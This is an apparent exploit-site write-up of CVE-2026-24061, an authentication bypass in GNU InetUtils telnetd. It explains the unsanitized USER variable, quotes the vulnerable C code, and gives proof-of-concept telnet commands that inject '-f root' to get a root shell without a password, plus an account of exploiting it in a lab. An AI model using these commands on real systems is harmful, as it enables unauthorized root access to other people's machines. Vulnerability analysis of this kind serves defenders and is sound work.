## https://sploitus.com/exploit?id=B3B894F1-1A4A-555E-A82C-623DC073C025
## CVE-2026โ24061 : GNU InetUtils telnetd Authentication Bypass Vulnerability
`CVE-2026โ24061` is a critical weakness in the telnetd service of GNU InetUtils
**CVE ID :** CVE-2026โ24061
**Severity :** Critical (CVSS 9.8)
**Attack Vector :** Network
**Authentication Required :** None
**Impact :** Full system compromise (root access)
The vulnerability originates from improper handling of the `USER environment variable` during the `Telnet session` setup, this value is directly forwarded into the argument list of `/usr/bin/login` **without any sanitization or validation and as a result, a remote attacker can manipulate this input to inject command-line options, effectively bypassing authentication and obtaining a root shell instantly**
#### Vulnerable Code Snippet
The following snippet from `telnetd/utility_file.c` shows how user-supplied values were directly used without validation:
```c
case 'h':
return xstrdup (remote_hostname);
case 'l':
return xstrdup (local_hostname);
case 'L':
return xstrdup (line);
case 't':
q = strchr (line + 1, '/');
if (q)
q++;
else
q = line;
return xstrdup (q);
case 'T':
return terminaltype ? xstrdup (terminaltype) : NULL;
case 'u':
return user_name ? xstrdup (user_name) : NULL;
case 'U':
return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");
```
**Issue :**
User-controlled values *USER*, *terminaltype*, and *line* : are used without validation. Acopied directly into internal structures
Since these values can be influenced by a remote client via the Telnet protocol, **this creates a critical injection point**
**Attack flow :**
- Connect to the target telnetd service
- Use the Telnet NEW_ENVIRON option to set: **USER= " -f root"**
- The server processes this value without validation
- The injected flag is interpreted, potentially leading to authentication bypass or privilege escalation
**Proof of Concept**
A minimal proof of concept demonstrates how to exploit the vulnerability:
```bash
USER='-f root' telnet -a
telnet -l -'f root' ip_addr
```
**This command injects a malicious USER value during the Telnet handshake, which can result in unauthorized root access on vulnerable systems**
### Practical lab :
I completed a lab involving `CVE-2026โ24061`, where I exploited the vulnerability by using telnet -l '-f root' 176.16.2.153 to inject malicious arguments and achieve authentication bypass, ultimately gaining root-level access on the target system
**What happens internally :**
1 - **l :** refers to login name
2 - **'-f root'**: value paassed as the username, (-f : no password check - skip authentication), (root: target user))
3 - The vulnerable server does no sanitization
4 - It interprets -f as a flag instead of part of a username
This allowed me to inject malicious arguments, bypass authentication, and gain root-level access on the target system
**Technical Summary**
The flaw resides in how telnetd handles the NEW_ENVIRON Telnet option. It allows a client to define environment variables that are passed to the system's /usr/bin/login binary. Because telnetd fails to sanitize the USER variable, an attacker can inject the -f flag (force login), which tells the login utility to skip password verification and immediately grant a session for the specified user (typically root)